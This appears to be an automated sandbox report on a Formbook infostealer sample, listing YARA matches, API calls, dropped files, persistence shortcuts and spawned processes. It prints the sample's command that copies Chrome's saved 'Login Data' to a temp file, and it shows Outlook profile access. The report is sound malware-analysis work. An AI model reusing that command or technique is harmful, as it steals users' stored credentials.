Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000014.00000002.559355148.0000000003070000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000015.00000001.419503342.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000009.00000000.324380363.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000019.00000002.431106841.0000000003000000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000011.00000002.428671777.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: C:\Users\user\Contacts\sacwcbzryH.url, type: DROPPED	Matched rule: Methodology_Shortcut_HotKey author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019
Source: C:\Users\user\Contacts\sacwcbzryH.url, type: DROPPED	Matched rule: Methodology_Contains_Shortcut_OtherURIhandlers author = @itsreallynick (Nick Carr), description = Detects possible shortcut usage for .URL persistence, reference = https://twitter.com/cglyer/status/1176184798248919044, score = 27.09.2019

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00401030
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041E080
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D976
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00401208
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041DAA0
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041EB1E
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041ED4D
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041E522
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041D583
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00402D8B
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00402D90
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00409E5B
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00409E60
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041EF49
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041E71D
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041E799
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00402FB0
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AE20A0
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B820A8
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ACB090
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B828EC
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B8E824
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ADA830
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B71002
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD99BF
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AD4120
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00ABF900
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B822AE
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B6FA2B
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AEEBB0
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B7DBD2
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00B703DA
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00401030
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041E080
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D976
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00401208
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041DAA0
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041EB1E
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041ED4D
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041E522
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041D583
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00402D8B
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00402D90
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00409E5B
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00409E60
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041EF49
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041E71D
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041E799
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00402FB0
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A920A0
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B320A8
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7B090
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B328EC
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3E824
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B21002
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A84120
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A6F900
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B322AE
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B1FA2B
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A9EBB0
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2DBD2
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B203DA
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B32B28
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A8AB40
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7841F
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2D466
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A92581
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A7D5E0
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B325DD
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A60D20
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B32D07
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B31D55
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B32EF7
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00A86E30
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B2D616
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B31FF1
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00B3DFCE

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: String function: 00ABB150 appears 40 times
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: String function: 00A6B150 appears 48 times

Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A330 NtCreateFile,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A3E0 NtReadFile,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A460 NtClose,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A510 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A3DB NtReadFile,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A387 NtReadFile,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A45A NtClose,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_0041A50B NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF98F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF99A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF95D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF96E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF97A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF98A0 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9820 NtEnumerateKey,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AFB040 NtSuspendThread,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF99D0 NtCreateProcessEx,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9950 NtQueueApcThread,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9A80 NtOpenDirectoryObject,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AF9A10 NtQuerySection,
Source: C:\Users\user\Desktop\WZ454554.exe	Code function: 9_2_00AFA3B0 NtGetContextThread,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A330 NtCreateFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A3E0 NtReadFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A460 NtClose,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A510 NtAllocateVirtualMemory,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A3DB NtReadFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A387 NtReadFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A45A NtClose,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_0041A50B NtAllocateVirtualMemory,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA98F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA99A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA95D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA96E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA97A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA98A0 NtWriteVirtualMemory,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9820 NtEnumerateKey,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AAB040 NtSuspendThread,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA99D0 NtCreateProcessEx,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9950 NtQueueApcThread,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9A80 NtOpenDirectoryObject,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9A10 NtQuerySection,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AAA3B0 NtGetContextThread,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9B00 NtSetValueKey,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA95F0 NtQueryInformationFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9520 NtWaitForSingleObject,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AAAD30 NtSetContextThread,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9560 NtWriteFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA96D0 NtCreateKey,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9610 NtEnumerateValueKey,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9670 NtQueryInformationProcess,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9650 NtQueryValueKey,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9FE0 NtCreateMutant,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9730 NtQueryVirtualMemory,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AAA710 NtOpenProcessToken,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9760 NtOpenProcess,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AA9770 NtSetInformationFile,
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Code function: 17_2_00AAA770 NtOpenThread,

Source: WZ454554.exe	Binary or memory string: OriginalFilename vs WZ454554.exe
Source: WZ454554.exe, 00000002.00000003.285784160.000000000362C000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamePlayMaS EFx.CPL\: vs WZ454554.exe
Source: WZ454554.exe, 00000002.00000000.283086570.0000000000498000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamePlayMaS EFx.CPL\: vs WZ454554.exe
Source: WZ454554.exe, 00000002.00000003.283955889.0000000003690000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamePlayMaS EFx.CPL\: vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000000.322831232.0000000000498000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenamePlayMaS EFx.CPL\: vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000002.410637371.0000000000D3F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000002.414071271.0000000002A54000.00000040.00020000.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000002.408113212.0000000000659000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000002.408188246.0000000000667000.00000004.00000020.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs WZ454554.exe
Source: WZ454554.exe, 00000009.00000002.409087872.0000000000BAF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs WZ454554.exe

Source: WZ454554.exe	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: WZ454554.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WZ454554.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: WZ454554.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Hyrzbcwcas.exe.2.dr	Static PE information: Resource name: RT_BITMAP type: GLS_BINARY_LSB_FIRST
Source: Hyrzbcwcas.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Hyrzbcwcas.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Hyrzbcwcas.exe.2.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: ??.dll
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Desktop\WZ454554.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: ??.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: ??.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Section loaded: mpclient.dll

Source: WZ454554.exe	Virustotal: Detection: 22%
Source: WZ454554.exe	ReversingLabs: Detection: 39%

Source: C:\Users\user\Desktop\WZ454554.exe

File read: C:\Users\user\Desktop\WZ454554.exe

Jump to behavior

Source: C:\Users\user\Desktop\WZ454554.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\WZ454554.exe "C:\Users\user\Desktop\WZ454554.exe"
Source: C:\Users\user\Desktop\WZ454554.exe	Process created: C:\Users\user\Desktop\WZ454554.exe C:\Users\user\Desktop\WZ454554.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe "C:\Users\user\Contacts\Hyrzbcwcas.exe"
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe "C:\Users\user\Contacts\Hyrzbcwcas.exe"
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: C:\Users\user\Desktop\WZ454554.exe	Process created: C:\Users\user\Desktop\WZ454554.exe C:\Users\user\Desktop\WZ454554.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe "C:\Users\user\Contacts\Hyrzbcwcas.exe"
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Process created: C:\Users\user\Contacts\Hyrzbcwcas.exe C:\Users\user\Contacts\Hyrzbcwcas.exe
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1" /V

Source: C:\Users\user\Desktop\WZ454554.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Source: C:\Users\user\Desktop\WZ454554.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PSUEOSZZ\Hyrzbcwcasllzbwmlqsydewtjitxnzf[1]

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\DB1

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@16/11@7/3

Source: C:\Windows\explorer.exe

File read: C:\Users\user\AppData\Roaming\75A8527W\75Alogri.ini

Jump to behavior

Source: C:\Users\user\Desktop\WZ454554.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\WZ454554.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Desktop\WZ454554.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5848:120:WilError_01

Source: C:\Windows\SysWOW64\help.exe

File written: C:\Users\user\AppData\Roaming\75A8527W\75Alogri.ini

Jump to behavior

Source: C:\Users\user\Desktop\WZ454554.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\WZ454554.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Contacts\Hyrzbcwcas.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\help.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

